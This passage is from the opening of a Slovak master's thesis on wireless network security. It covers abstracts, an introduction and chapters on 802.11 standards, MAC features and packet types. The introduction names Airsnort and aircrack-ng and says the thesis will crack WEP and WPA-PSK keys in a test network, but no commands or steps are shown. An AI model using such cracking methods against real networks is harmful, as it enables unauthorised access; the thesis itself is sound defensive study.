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 Anotace 
  
 V dnešní době bezdrátové radiokomunikační služby zahrnují širokou škálu technologií 
sloužících pro přenos videa, hlasu nebo dat. Je to nejrozšířenějším odvětvím a mnohé 
společnosti využívají služeb bezdrátových sítí pro jejich lacinou technologii s relativně 
jednoduchou správou. Jejich výhodou je dostupnost díky sdílenému bezdrátovému médii, 
které je všudypřítomné a umožňuje účastníkům pohybovat se v rámci dosahu bezdrátové síti. 
Nejrozšířenější typ bezdrátových lokálních sítí se nazývá WLAN. S růstem sítí WLAN roste i 
riziko zabezpečení sdíleného média před útoky s cílem získat citlivé informace (aktiva). Pro 
tyto účely byl vyvinutý první zabezpečovací protokol uvedený pod označením WEP, který 
měl chránit přenášené zprávy s takou silou, jako byly přenášena data po klasickém drátovém 
médiu. WEP však v sobě skrýval mnoho kryptografických nedostatků a v dnešní době je toto 
zabezpečení s přídavným programovým vybavením možné během několika minut prolomit. 
Typickým představitelem může být program Airsnort, který pasivně monitoruje okolní 
bezdrátové médium a na základe statistických údajů získaných z odchycených paketů lze 
odhalit tajné heslo. Druhý typ programu využívá aktivních technik útoku ku generování  
síťového provozu s cílem zvýšení efektivnosti získání tajného hesla i v případě, že se v síti 
žáden účastník nenachází. Program s názvem Aircrack-ng využívá sofistikovanější řešení se 
širší škálou útoků na síť 802.11. Výsledem obou případech byl úspěšný a zabezpečení WLAN 
bylo přelomené. Později byl vytvořený zabezpečovací protokol s názvem WPA, který měl 
odstranit kryptografické nedostatky protokolu WEP. WPA byl jenom dočasné řešení v době 
vývoje standardu 802.11i, který měl poskytovat nejvyšší míru zabezpečení a integrity 
přenášených zpráv ve WLAN. Pro tyto účely vznikl novější zabezpečovací protokol WPA2, 
který splňoval veškeré požadavky standardu 802.11i. Protokoly WPA/WPA2 však obsahují 
společnou slabinu, která může ochromit celé zabezpečení WLAN. Touto slabinou je 
autentizace PSK, při kterém útočník využívá čtyřcestný handshake komunikujících stran 
k odhadu tajného hesla. Heslo je odhadované pomocí slovníkového útoku a bylo odhadnuté 
v průběhu 30-tich minut. Proto zabezpečení WPA-PSK/WPA2-PSK přímo závisí na složitosti 
použitého hesla. Z tohoto důvodu je nutné volit heslo s dostatečnou silou a heslo měnit 
v častých intervalech. 
 
Klíčové slova: bezdrátová síť, WLAN, 802.11, zabezpečení, útok, WEP, WPA, WPA2, 
802.11i, PSK, 802.11x, Airsnort, Aircrack-ng  
 Abstract 
 
 Nowadays every wireless radio-communication services encompass huge type of 
technology used for transfer video, voice or data. Wireless communication is the most 
expanded branch and many companies are using this technology because of low cost and 
simply management. The biggest advantage is easy connection to shared wireless medium and 
allows users of network to move around whole covered area. The most expanded types of 
wireless networks are called Wireless LAN (WLAN). With rising number of WLANs is rising 
chance to attack shared wireless medium by hacker and many sensitive information can be 
stolen or modified. To avoid this chance was created the first security protocol used in WLAN 
called WEP. Its goal was protect data transmitted trough WLAN as strong as were protected 
in wired networks. Unfortunately WEP was hiding a big weakness which can be used in a 
crack of WLAN in a minute with the aid of special software. Example of this kid of software 
can be Airsnort constructed to monitor shared medium and captured every packet transferred 
trough this medium. Based on statistical method Airsnort can obtain hidden password in a few 
minutes. The second type of this software can be Aircrack-ng, which can crack hidden 
password without any user connected to WLAN. Aircrack-ng uses active techniques to 
generate network load and can obtain password more effectively and faster. The result of both 
cases was successful and protection of WLAN was completely cracked. Later was created 
new security protocol called WPA, which had to fix the cryptography weakness of previous 
WEP. WPA was only temporary security protocol, during standard 802.11 was developing 
which had to offer highest security and integrity protection of transferred data trough WLAN. 
For this reasons was created new version of WPA called WPA2 which satisfy requirements of 
standard 802.11i. Both protocols WPA/WPA2 contain weakness, which can crash security of 
WLAN. This crack is based on authentication PSK. Attacker during authentication is using 
information from four-way handshake between user of WLAN and access point. Based on 
this information attacker can crack password with the aid of password list attack which took 
approximately 30 minutes. Based on previous result is important to chose strong password 
contains alphanumeric string or special strings with satisfy length.  
 
Key words: wireless network, WLAN, 802.11, security, attack, WEP, WPA, WPA2, 802.11i, 
PSK, 802.11x, Airsnort, Aircrack-ng 
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Úvod 
 
 V dnešnej dobe sa bezdrôtové rádiokomunikačné služby stali najviac rozširujúcimi sa 
informačnými technológiami. S vysokým rozvojom využívania týchto služieb rastie i nárok 
na spoľahlivosť a vzájomnú kompatibilitu medzi informačnými systémami. Bezdrôtová 
technológia je takmer všadeprítomná a vďaka jej cene je i najviac využívaná. Bezdrôtový 
prenos umožňuje užívateľom mobilitu a podľa použitej technológie i kvalitu prenosu videa, 
zvuku či dát. Typickým predstaviteľom siete, ktorá umožňuje prenos dát zdieľaným 
bezdrôtovým médiom je bezdrôtová lokálna sieť WLAN (Wireless Local Area Network), 
Bezdrôtové lokálne siete podliehajú štandardu 802.11. WLAN umožňuje užívateľom pripojiť 
sa k sieti či k internetu a zdieľať dáta z akéhokoľvek miesta jej dosahu a počas celej doby 
pripojenia poskytovať maximálnu spoľahlivosť a dôvernosť prenášaných dát. Počas doby 
svojho vývoja bezdrôtové siete sa stali neoddeliteľnou súčasťou veľkých podnikových 
intranetov a nahradili mnohé káblové partície, čím znížili celkovú cenu a zložitosť siete. 
S rozvojom bezdrôtových sietí prichádza problém so zabezpečením komunikácie po 
bezdrôtovom médiu. Bezdrôtové médium je takmer všade dostupné a preto sa môže útočník 
pripojiť a odpočúvať médium z akéhokoľvek miesta dosahu WLAN. Ak sa v našej sieti 
uchovávajú a prenášajú aktíva, ktoré chceme chrániť, mali by sme dbať o zabezpečenie siete 
dostupnými zabezpečovacími a kryptografickými metódami. To, akú metódu chceme 
využívať, záleží hlavne od druhu komunikácie a hardwarovej (softwarovej) podpory 
komunikačných zariadení. 
V roku 1997 bola uvedená prvé zabezpečenie bezdrôtových sietí v pásme 2.4 GHz pod 
názvom WEP (Wired Equivalent Privacy) využívané do dnes. Začiatkom roku 2001 sa 
podarilo zabezpečenie WEP-u prelomiť. V dnešnej dobe je možné toto zabezpečenie 
s príslušným softwarom prelomiť behom niekoľkých minút. O pár mesiacov neskôr inštitúcia 
IEEE (Institute of Electrical and Electronics Engineers) vyvinula nový štandard 802.11i, ktorý 
dané nedostatky WEP-u odstránil. V roku 2003, Wi-Fi Aliancia prišla s novou náhradou 
WEP-u, ktorá by mala poskytovať dostatočné zabezpečenie bezdrôtových sieti s názvom 
WPA (WiFi Protected Access). Protokol WPA mal slúžiť iba ako dočasné riešenie v čase 
vývoja štandardu 802.11i. Keďže ani WPA neposkytoval dostatočnú mieru zabezpečenia, 
vyšla  aktualizácia s drobnými úpravami protokolu WPA pod označením WPA2, ktorý 
obsahoval všetky povinné prvky štandardu 802.11i a často sa vyskytuje pod rovnakým 
názvom 802.11i. V súčasnosti však neexistuje žiadne dokonalé zabezpečenie komunikačného 
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systému. S vývojom nových zabezpečení prichádzajú nové riešenia a nové technológie ako 
tieto zabezpečenia prelomiť v reálnom čase. 
Cieľom práce je otestovať zabezpečenie bezdrôtovej siete 802.11 na základe dnes 
používaných zabezpečovacích protokoloch WEP, WPA a WPA2 (802.11i) a na základe 
dosiahnutých výsledkov navrhnúť efektívnejšie zabezpečenie týchto sietí. Pre tieto účely sa 
v prvej kapitole práce popisujem základné štandardy využívané v sieťach 802.11. Základom 
prístupu bezdrôtových staníc k zdieľanému bezdrôtovému médiu tvorí podvrstva MAC, na 
ktorej závisí i bezpečnosť doručenia odoslaných paketov. Druhy paketov a ich význam tvoria 
záver prvej kapitoly. V druhej kapitole sa zaoberám významom jednotlivých výrazov 
spojených s bezpečnosťou sietí a uvádzam prvý bezpečnostný protokol v sieťach 802.11 
WEP. V tretej kapitole rozoberám štruktúru protokolu WEP a uvádzam jeho slabiny, na 
základe ktorých prevádzam jednoduchý útok s cieľom získať tajný kľúč. Sieť obsahuje jeden 
prístupový bod, jedného platného užívateľa a útočníka. Útok je prevádzaný pomocou 
programu Airsnort pod operačným systémom Linux. Druhý útok zahŕňa situáciu, kedy sa 
v sieti nevyskytuje žiaden účastník a útočník generuje umelý prenos s cieľom získania tajného 
hesla pomocou programu aircrack-ng. V tomto kroku je zahrnutá aj inštalácia a kompilácia 
ovládača bezdrôtovej karty v systéme Linux. V štvrtej kapitole uvádzam protokoly WPA 
a WPA2 (802.11i), rozoberám postup šifrovania a typy autentizácie užívateľa (PSK, 802.11x) 
do siete 802.11. Predmetom tejto kapitoly je i hierarchia a generovanie kľúčov potrebných na 
autentizáciu, šifrovanie a zabezpečenie integrity prenášaných dát. K záveru kapitoly uvádzam 
slabiny návrhu protokolov WPA a WPA2, na základe ktorých prevádzam útok na sieť 802.11 
s týmto druhom zabezpečenia. Na základe dosiahnutých výsledkom v piatej kapitole 
popisujem obecný postup pri tvorbe zabezpečenia v bezdrôtových sieťach 802.11. 
V súčasnosti neexistuje dokonalé zabezpečenie, ale vhodnými metódami môžeme zvýšiť 
mieru zabezpečenia a preto je vhodné používať najnovšie zabezpečovacie protokoly 
s dostatočne silným tajným heslom a neposkytovať tým útočníkovi mieru nezabezpečenia 
siete 802.11.  
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1. Bezdrôtové siete 802.11 
 
Pojem bezdrôtové siete predstavuje širokú škálu komunikačných systémov, ktoré 
využívajú na prenos informácií komunikačný kanál prenášaný voľným priestorom. V dnešnej 
dobe najviac rozširujúcim sa odvetvím v informačnej technológií sú práve bezdrôtové siete. 
S nárastom počtu sietí 802.11 rastie i riziko útoku, preto je nutné takúto sieť vhodne 
zabezpečiť príslušnými zabezpečovacími technikami. Obecne, bezdrôtové siete, využívajúce 
bezdrôtové médium na prenos dát sa globálne nazývajú bezdrôtové lokálne siete WLAN 
pracujúce v kmitočtovom pásme 2.4 GHz. Vyhradené kmitočtové pásmo pre priemyselné, 
vedecké a lekárske potreby sa nazýva pásmo ISM (Industrial Scientific and Medical), ktoré 
v roku 1997 schválil medzinárodný štandardizačný inštitút IEEE pod označením 802.11. Pre 
tieto účely vyhradil pásmo 2.4GHz jak americký regulátor FCC (Federal Communication 
Commission), tak aj európsky inštitút ETSI (Europan Telecommunications Standard Institute) 
[1]. V každej bezdrôtovej sieti musia platiť určité pravidlá, ako danú sieť prevádzkovať. Pre 
tento cieľ existujú štandardy, ktoré dané pravidlá presne špecifikujú. 
Základom každej WLAN je jeden alebo viacero prístupových bodov AP (Access Point). 
Prístupový bod AP umožňuje bezdrôtovým staniciam WS (Wireless Station) pripojiť sa 
a komunikovať so zariadeniami v rôznorodých sieťach (LAN alebo inej WLAN). V dnešnej 
dobe bežné WLAN majú možnosť pripojenia k internetu a preto prístupový bod preberá úlohu 
brány, ktorá spája dve rôznorodé rozhrania (napr. WLAN s LAN atď.) viz. obr. 1.1. 
 
 
Obr. 1.1: Príklad spojenia siete LAN a WLAN 
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1.1  IEEE 802.11 
 
IEEE 802.11 je skupina štandardov pre lokálne bezdrôtové siete WLAN vyvinuté IEEE 
LAN/MAN Standards Commitee pre zariadenia pracujúce v 5 GHz a 2.4 GHz verejnom 
kmitočtovom pásme [2]. Pre interopreabilitu jednotlivých zariadení podliehajúcim 
špecifikáciám štandardov vznikla certifikačná aliancia WECA (Wireless Ethernet 
Compatibility Alliance). Všetky zariadenia vyhovujúce kritériám WECA sú označené ako 
zariadenia WiFi a zaručujú kompatibilitu medzi zariadeniami rôznych výrobcov. Od roku 
2003 sa aliancia WECA premenovala na WiFi Aliance [1].  
História 802.11 začína od roku 1997, kedy medzinárodný inštitút IEEE schválil pod 
týmto označením bezdrôtové siete podliehajúce špecifikáciám tohto štandardu pracujúcich 
v pásme ISM. Bezdrôtové siete 802.11 umožňovali prenášať dáta s rýchlosťou 1 až 2 Mbps 
(Megabit per second) s prídavným dopredným korekčným kódom FEC (Forward Error 
Correction). 802.11 špecifikuje tri rôzne fyzické vrstvy:  
· rozptýlený infračervený prenos DIR (Diffused Infrared) s fyzickou prenosovou 
rýchlosťou 1 Mbps 
· kmitočtové skákanie FH (Frequency Hopping) s fyzickou prenosovou rýchlosťou 
1Mbps alebo 2 Mbps. 
· priama postupnosť rozprestretého spektra DSSS (Direct Sequence Spread Spectrum) 
s fyzickou prenosovou rýchlosťou 1Mbps alebo 2 Mbps. 
 
Predchádzajúce technológie používané vo WLAN pracovali v nižších kmitočtových 
pásmach (napr. v USA bolo využívané ISM pásmo s frekvenciou 900MHz). V roku 1999 
vznikli dva štandardy pod označením 802.11b a 802.11a [1].  
 
1.1.1 Štandard 802.11b 
 
Zariadenia štandardu 802.11b pracujú v pásme ISM 2,4GHz s prenosovou rýchlosťou 
11Mbps. 802.11b podporuje fyzickú vrstvu s DSSS. Prudký nárast prenosovej rýchlosti oproti 
pôvodnému štandardu 802.11 a značným poklesom cien komunikačnej technológie viedla 
k tomu, že 802.11b bola definitívne prijatá ako technológia WLAN. Zariadenia štandardu 
802.11b sú náchylné na interferenciu iných zariadení pracujúcich v rovnakom kmitočtovom 
pásme ako sú napr.: mikrovlnné trúby, zariadenia bluetooth, baby monitory alebo mobilné 
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telefóny. Ďalšou nevýhodou týchto zariadení je obmedzené kmitočtové pásmo pre 
komunikáciu. Prenos v pásme 2,4 GHz sa rozdeľuje do 13-tich kanálov o šírke 5 MHz. Šírka 
pásma vyhradená pre prenos v 802.11b i neskoršom štandarde 802.11g je 72 MHz 
s počiatočným kmitočtom 2,412 GHz. Pásmo je rozdelené do 14 kanálov s odstupom 5MHz. 
14. kanál predstavuje kmitočet 2,484GHz s odstupom 12MHz od 13. kanálu [1].  
Nie každá krajina používa pre prenos rovnaké kanály, pretože pásmo 2,4GHz nie je 
celosvetovo voľné a všade rovnaké viz. tab 1.1. 
 
Tab. 1.1: Rozdelenie bezdrôtových kanálov vo WLAN 802.11b a 802.11g 
Krajina Kanály (kmitočty [GHz]) 
USA a Kanada 1   - 11 (2,412 - 2,462) 
Európa (okrem Francúzska a Španielska) 1   - 13 (2,412 - 2,472) 
Francúzsko 10 - 13 (2,457 - 2,472) 
Španielsko 10 - 11 (2,457 - 2,462) 
Japonsko 14        (2,484) 
 
 
Najväčší počet kanálov pre prenos bezdrôtovými sieťami je práve v európskych 
krajinách, okrem Francúzska a Španielska, 13 kanálov. Nie však všetkých 13 kanálov je 
možné využívať plnohodnotne. 802.11b a 802.11g zariadenia využívajú pre svoj prenos 
v jednom kanále rozsah 22 MHz. Šírka pásma pre jeden kanál je len 5MHz čo znamená, že 
vysielanie na jednom kanály sa prelína na štyri susedné kanály. Z toho plynie, že ak 
prevádzkujeme dve susedné WLAN bez vzájomnej interferencie, musia tieto siete pracovať 
minimálne päť kanálov od seba. Pri trinástich kanáloch je teda možné plnohodnotne využívať 
iba tri kanály (viz. obr. 1.1) [1]. 
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Obr. 1.2: Využitie kmitočtového spektra bez vzájomného rušenia susedných kanálov  
  
1.1.2 Štandard 802.11a 
 
Štandard 802.11a využíva rovnaký protokol a formát PDU (Protokol Data Unit) sieťovej 
vrstvy ako originálny štandard 802.11 s rozdielom typu fyzickej vrstvy. Fyzická vrstva 802.11a je 
založená na OFDM (Orotgonal Frequency Division Multiplex) a pracuje v kmitočtovom pásme 
5GHz s maximálnou fyzickou prenosovou rýchlosťou 54Mbps. 802.11a navyše obsahuje prídavnú 
korekciu chýb ECC (Error Correction Code). Z rozširujúcim sa počtom bezdrôtových sietí klesá 
počet voľných kanálov v kmitočtovom pásme 2,4GHz. Preto siete využívajúce štandardu 802.11a 
majú značnú výhodu prenosu relatívne nevyužívaného 5GHz pásma. Avšak tieto vysoké 
prenosové kmitočty prinášajú i svoje nevýhody. Celková efektívne využiteľná šírka pásma  
v 5 GHz pásme je menšia ako pri použití 802.11b. Ďalšia nevýhoda je menšia vzdialenosť dosahu 
mikrovlnných vĺn v tomto kmitočtovom pásme. Mikrovlny vyšších kmitočtov sú náchylnejšie na 
absorpciou objektov (budovy, poveternostné podmienky) v mieste prenosu [3]. 
 
1.1.3 Štandard 802.11g 
 
V roku 2003 prišiel v poradí tretí štandard pre prenos v bezdrôtových sieťach pre 
zariadenia pracujúce v kmitočtovom pásme 2,4GHz pod označením 802.11g. Fyzickú vrstvu 
tvorí ako u 802.11a OFDM s maximálnou fyzickou prenosovou rýchlosťou 54Mbps 
obsahujúca dopredný korekčný kód FEC (Forward Error Correction). Zariadenia 802.11g sú 
plne kompatibilné so zariadeniami 802.11b, nie však so zariadeniami 802.11a. Pri súčasnom 
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pôsobení siete 802.11g a siete 802.11b nastáva interferencia, čoho dôsledkom je redukcia 
prenosovej rýchlosti v mieste prekrytia.  
V lete roku 2003 mnoho dvoj-módových zariadení 802.11a/b prešlo na podporu nového 
štandardu 802.11g. Bezdrôtové karty WC (Wireless Card) alebo prístupové body AP teda 
podporovali všetky tri štandardy 802.11a/b/g. Tak ako zariadenia 802.11b aj 802.11g 
zariadenia sú náchylné na interferenciu iných zariadení pracujúcich v rovnakom kmitočtovom 
pásme [3]. 
 
1.1.4 Štandard 802.11-2007 
 
V roku 2003 bol vytvorený jednotný dokument s názvom 802.11Rev, ktorý zlučuje 
osem štandardov s rovnakým základným štandardom 802.11. Do tejto skupiny patria 
štandardy 802.11a/b/d/e/g/h/i/j. V roku 2007 sa 802.11Rev premenovala na súčasný štandard 
802.11-2007. Tento štandard je jednotný najnovšie dostupný 802.11 dokument obsahujúci 
súhrnné zmeny štandardu 802.11 od roku 1999 [3]. 
 
1.1.5 Štandard 802.11n 
 
Štandard 802.11n je najnovším doplňujúcim štandardom skupiny štandardov 802.11, 
ktorý obohatil bezdrôtovú komunikáciu hlavne pridaním technológie MIMO (Multipe Input 
Multiple Output) a priestorovým multiplexom. MIMO využíva skupinu antén na oboch 
komunikujúcich zariadeniach k cieľu zlepšenia komunikácie. Viackanálové prenosy signálu 
zvyšujú schopnosť prijímača zrekonštruovať informáciu z prijatého signálu. Ďalšou výhodou 
využitia MIMO technológie je SDM (Spatial Division Muliplex). SDM priestorovo 
multiplexuje viaceré nezávislé dátové toky a prenáša ich súčasne v jednom prenosovom 
kanály. MIMO SDM môže značne zvýšiť prenosovú rýchlosť. Každý priestorový dátový tok 
vyžaduje diskrétnu anténu na oboch komunikačných zariadeniach. Navyše MIMO požaduje 
oddelené frekvencie pre prenos každou MIMO anténou a A/D (Analog to Digital) konvertor 
pre každú anténu, čo sa prejavuje i v celkovej cene. 
802.11n značne zlepšil i maximálnu fyzickú prenosovú rýchlosť oproti štandardom 
802.11b/g. Maximálna fyzická prenosová rýchlosť vzrástla zo 54Mbps na 600Mbps. 
V súčasnosti však fyzická vrstva podporuje OFDM s maximálnu prenosovú rýchlosť 
300Mbps s využitím dvoch vzájomne sa neprekrývajúcich kanálov o šírke 40MHz. Zariadenia 
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štandardu pracujú v kmitočtovom pásme 2,4GHz alebo 5GHz. Štandard 802.11n je stále 
v štádiu vývoja a jeho dokončenie sa očakáva v priebehu decembra 2009 [3]. 
 
1.1.6 Revízie štandardu 802.11 
 
V súčasnej dobe existujú viaceré doplňujúce štandardy štandardu 802.11. Sú uvedené 
ako revízie, ktoré vznikli behom jeho vývoja. Keďže cieľom mojej témy je zefektívnenie 
zabezpečenia bezdrôtových sietí, nebudem sa ďalej venovať do hĺbky doplňujúcim 
štandardom WLAN. Preto iba uvediem a stručne popíšem iba najvýznamnejšie z nich [3]. 
· 802.11a+ – doplnok pre zvýšenie prenosovej rýchlosti štandardu 802.11a na 
maximálnu fyzickú rýchlosť 108Mbps. 
· 802.11c – doplnok pre riešenie práce komunikačných mostov (bridge) v rámci 
podvrstvy MAC (Medium Access Control) 802.11. V skutočnosti má s WLAN len 
málo spoločného. Je určená pre prístupové body. 
· 802.11d – doplnok upravuje 802.11b pre iné kmitočty s cieľom umožniť realizáciu 
WLAN v miestach, kde pásmo 2,4GH nie je dostupné. Väčšina krajín však tento 
kmitočet na základe ITU-T (International Telecommunication Union) neuvoľnila. 
· 802.11e – doplnok rozšírenia podvrstvy MAC o QoS (Quality of Service), zaisťujúcu 
vyrovnanú kvalitu služieb, dôležitú pre multimédia v oblasti určovania priority 
prenosu.   
· 802.11f  – doplnok štandardizujúci komunikáciu medzi jednotlivými AP pre zaistenie 
roamingu pomocou protokolu IAPP (Inter Access Point Portocol), čo znamená 
prechod stanice z dosahu jedného AP k inému susednému AP. 
· 802.11h – doplnok vylepšujúci riadenie využívania kmitočtového pásma pomocou 
dynamickej voľby kanálu a riadenia vyžarovacieho výkonu. Doplnok sa týka iba 
pásma UNII 5GHz.  
· 802.11i – doplnok pre zvýšenú bezpečnosť v 802.11 sieťach s vylepšením 
autentizačného a šifrovacieho algoritmu. 
· 802.11j – doplnok rozširujúci alokáciu nových kmitočtových rozsahov pre 
multimediálne služby. 
· 802.11k – doplnok definuje meranie a správu rádiových zdrojov tak, aby vyhovovali 
vysokofrekvenčným rádiovým sieťam. Ide o pokračovanie práce 802.11j. 
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Pre zvýšenie abstraktnosti štandard 802.11 definuje iba dve najnižšie vrstvy a to 
fyzickú, označovanú ako PHY (Physical layer), a spojovú vrstvu, označovanú ako MAC 
(Medium Access Control). Zvyšnými vrstvami sa štandard nezaoberá. Súbor pravidiel 
prístupu k médiu sú zahrnuté v spojovej vrstve MAC, ktorá vytvára rozhranie medzi 
komunikačným zariadením a jeho fyzikou vrstvou PHY. Samotný prenos bitov zabezpečuje 
fyzická vrstva PHY a ich šifrovanie bolo zabezpečené na začiatkoch pomocou protokolu 
WEP (Wireless Eqivalent Privacy) [2].  
 
1.2 Vlastnosti podvrstvy MAC 
  
 Jedným z najdôležitejších aspektov štandardu 802.11 je spôsob, akým stanice budú 
pristupovať k spoločnému bezdrôtovému médiu bez toho, aby sa vzájomne rušili. Tieto 
pravidlá nezávisia od typu fyzickej vrstvy PHY a teda ani od použitého frekvenčného pásma 
(ISM 2.4 GHz alebo UNII 5 GHz). Obecne podvrstva MAC slúži ako rozhranie medzi 
fyzickou vrstvou a vyššími vrstvami koncového zariadenia. Vytvára podporu pre siete Ad-hoc 
(bez prístupového bodu) a infraštruktúrne siete (s prístupovým bodom). Medzi hlavné 
vlastnosti MAC patria:  
o  kladné potvrdzovanie (Positive Acknowledgment) 
o  fragmentácia paketov (Packet Fragmentation) 
o  šetrenie energie (Power Saving) 
o  metóda RTS/CTS a riešenie problému skrytého uzlu (Hidden Node Problem) 
  
1.2.1 Kladné potvrdzovanie (Positive Acknowledgment) 
 
 V sieťach 802.11 skoro každý paket odoslaný bezdrôtovým médiom je potvrdený 
o jeho správnosti doručenia. V klasických sieťach (napr. LAN) je spoľahlivý zabezpečený 
prenos (napr. TCP) realizovaný potvrdzovaním transportnej vrstvy. V sieťach 802.11 však 
kladné potvrdzovanie je spojené s linkovou vrstvou v kombinácií s fragmentáciou paketov. 
Fragmentácia paketov jednoducho predchádza zničeniu veľkého množstva dát preneseného 
bezdrôtovým médiom v prípade vzniku kolízie. Vo väčšine prípadov interferencia sa 
vyskytuje iba v malých intenzívnych zhlukoch. V prípade prenosu malého fragmentu paketu, 
takáto interferencia spôsobí iba opakovanie prenosu malej časti správy. Čas potrebný pre 
znovu opakovanie fragmentu sa tým výrazne skráti v porovnaní s prenosom celej správy. 
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1.2.2 Fragmentácia paketov (Packet Fragmentation) 
 
 Fragmentácia paketov je podporovaná viacerými protokolmi sieťovej vrstvy. Siete 
802.11 sa vyznačujú tým, že fragmentáciu paketov podporuje i linková vrstva. Na rozdiel od 
fragmentov sieťovej vrstvy, kde každý paket musí byť potvrdzovaný zariadením koncovej 
stanice, fragmenty linkovej vrstvy musia byť potvrdzované susedným komunikujúcim 
zariadením (Next Hop Device) napr. prístupovým bodom. Využitím fragmentácie je možné 
výrazne zvýšiť prenos v prípade chybového prenosového kanálu. Namiesto opakovaného 
prenosu celého objemu správy, správa sa pred odoslaním rozdelí na niekoľko malých častí 
(fragmentov). V prípade narušenia prenosu sa odošle iba ten fragment, ktorý bol poškodený. 
To, na ako veľké fragmenty sa má správa deliť určuje parameter MTU (Maximal 
Transmission Unit). Prípad veľmi malých fragmentov môže mať za následok zníženie 
prenosovej rýchlosti v dôsledku neustáleho potvrdzovania, čo konzumuje nemalú šírku pásma 
prenosového kanálu. 
   
1.2.3 Šetrenie energie (Power Saving) 
 
 Myšlienka včlenenia podpory šetrenia energie bola založená na tom, že veľa 
bezdrôtových staníc je napájaných z batérií a teda prípadná neaktívnosť stanice zbytočne 
tento zdroj vyčerpávala. Táto vlastnosť výrazne zlepšuje životnosť batérie klientskej stanice. 
Princíp šetrenia energie spočíva v tom, že ak je stanica dlhší čas neaktívna, dočasne vypne 
svoju bezdrôtovú komunikáciu a uloží sa do tzv. režimu spánku (Sleeping Mode). Obecne, 
stanice oznamujú prístupovému bodu, že prechádzajú do režimu spánku. AP v tomto bode 
začne odchytávať a ukladať informácie určené pre tieto stanice. Stanica sa musí periodicky 
prebúdzať a prezerať beacon rámce zaslané od AP. Tieto beacon rámce obsahujú informáciu 
TIM (Traffic Indication Map), čo predstavuje bitovú mapu indikujúca, ktorá stanica má 
uložené pakety v AP. Ak stanica zistí, že AP má uložené pakety pre ňu určené, vyšle PS-Pool 
rámec indikujúci, že stanica je pripravená prijímať uložené pakety. AP jednoducho pošle 
stanici uložené rámce a pokiaľ AP nemá ďalšie pakety na prenos, stanica sa uloží späť do 
režimu spánku. Klientska stanica nevyvíja žiadnu aktivitu k tomu, aby zistila, či má uložené 
pakety v AP. Neprenáša žiadne pakety, iba sleduje a analyzuje prijaté beacon rámce. 
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1.2.4 Metóda RTS/CTS a problém skrytého uzlu (Hidden Node Problem) 
 
 Bezdrôtové stanice komunikujú s prístupovým bodom pomocou zdieľaným 
bezdrôtovým médiom a preto musí existovať určité pravidlo, akým stanice budú v prípade 
potreby k tomuto médiu pristupovať bez vzniku kolízie. Stanica, ktorá chce pristupovať 
k médiu najskôr počúva, či iná stanica v rovnakom čase nevysiela zároveň. Ak je médium 
voľné, stanica začne vysielať svoje dáta. V tomto bode komunikácia prebieha bez vzájomnej 
kolízie a je úspešná. Problém však môže nastať, kedy stanica nepočuje, že zdieľané médiu je 
obsadené inou stanicou (skrytým uzlom) a tým dôjde ku kolízií. Pre tento prípad kolízie, siete 
802.11 využívajú dvojice riadiacich paketov: 
· RTS (Request To Send) 
· CTS (Clear To Send) 
Príklad využitia metódy RTS/CTS v sieti 802.11 s dvomi bezdrôtovými stanicami, ktoré sa 
vzájomne nepočujú je znázornený na obr. 1.3.   
 
Obr. 1.3: Metóda RTS/CTS a problém skrytého uzlu 
 
Stanica, ktorá chce pristupovať ku zdieľanému médiu najskôr vyšle riadiaci paket RST 
obsahujúci informáciu o dĺžke trvania komunikácie v mikrosekundách. Prístupový bod 
odpovie staniciam (okrem stanice inicializujúcej RST) riadiacim paketom CTS obsahujúci 
dobu nasledujúceho prenosu. Počas tejto doby stanice pokladajú toto médium za obsadené 
a nepokúšajú sa o komunikáciu. Tým, že stanice v dosahu AP odchytia riadiaci paket CTS je 
zabezpečené, že aj stanice, ktoré sa vzájomne nepočujú budú predchádzať kolízie. K výšeniu 
AP WS_1 WS_2 
t 
DIFS 
RTS 
CTS 
SIFS 
SIFS 
Dáta 
SIFS 
ACK 
DIFS 
RTS 
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priority prenosu sa využíva krátka medzi rámcová medzera SIFS (Short Interframe Space). 
Obecne sa SIFS využíva k prenosu s najvyššou prioritou, napr. prenos riadiacich paketov 
RTS/CTS a kladného potvrdzovania. Druhý typ medzirámcovej medzery DIFS (DCF 
Interframe Space) určuje minimálnu dĺžku času, kedy zdieľané médium musí zotrvať voľné 
pred tým, ako stanica môže k nemu pristupovať. Stanica môže okamžite pristupovať k médiu, 
ak je médium voľné dlhšie ako je perióda DIFS. Pre bližšie pochopenie jednotlivých útokov 
je vhodné si uviesť jednotlivé druhy paketov prenášaných sieťou 802.11. 
 
1.3 Pakety 802.11 
 
 Štandard 802.11 rozdeľuje pakety prenášané v sieti WLAN do troch rozdielnych 
kategórií [6]: 
o dátové (data),  
o management 
o riadiace (control)  
Existujú viaceré podtypy pre jednotlivé kategórie paketov. Príkladom paketov managementu 
môže byť paket typu Beacon alebo pakety slúžiace pre odhlásenie užívateľa zo siete. 
 
1.3.1 Riadciace pakety  (Control Pakets) 802.11 
 
 Riadiace pakety sú priamo spojené s pravidlami prístupu k médiu MAC (Media 
Access Control). Momentálne je definovaných šesť druhov riadiacich paketov, ktoré sú 
uvedenené v tabuľke tab. 1.2. Príkladom riadiacich paketov môžu byť už spomínané pakety 
RTS a CTS, ktoré pomáhajú riešiť problém skrytého uzlu. Taktiež sú využívané ako ochrana 
pred vzniknutím možnej kolízie na zdieľanom médiu i v prípade, že sa v sieti nenachádza 
skrytý uzol. Ak stanica chce vysielať relatívne veľké množstvo dát, pravdepodobnosť výskytu 
kolízie je vyššia i v prípade, že sa v sieti nenachádza skrytý uzol. Miesto prenosu veľkého 
paketu, stanica odošle paket RTS s dobou potrebou pre prenos. Ak sa relatívne malý paket 
RTS poškodí v dôsledku kolízie, čas potrebný pre znovu vyslanie RTS je relatívne krátky 
v porovnaní so znovu vyslaním veľkého dátového paketu. Ak raz okolité stanice odchytili 
paket CTS generovaný AP, stanica inicializujúca prenos môže bezpečne prenášať dáta počas 
celej doby určenej v CTS bez vzniku kolízie. 
  
Zefektívnenie zabezpečenia bezdrôtovej siete                                             Bc. Michal Marušek 
- 13 - 
Tab. 1.2: Typ riadiacich paketov v sieťach 802.11 
Riadiace pakety 802.11 
podtyp popis 
10 Power Save (PS)-Poll 
11 Request To Send (RTS) 
12 Clear To Send (CTS) 
13 Acknowledgment (ACK) 
14 Connection-Free (CF)-End 
15 CF-End + CF-ACK 
 
V sieti 802.11 sa nachádzajú ďalšie dva riadiace pakety, ktorými sú paket PS-Poll 
a paket kladného potvrdzovania ACK. PS-Poll je využívaný klientskymi stanicami v režimu 
šetrenia energie. Riadiacim paketom stanica indikuje, že je pripravená prijímať uložené 
pakety v AP v čase, kedy bola v režimu spánku.  
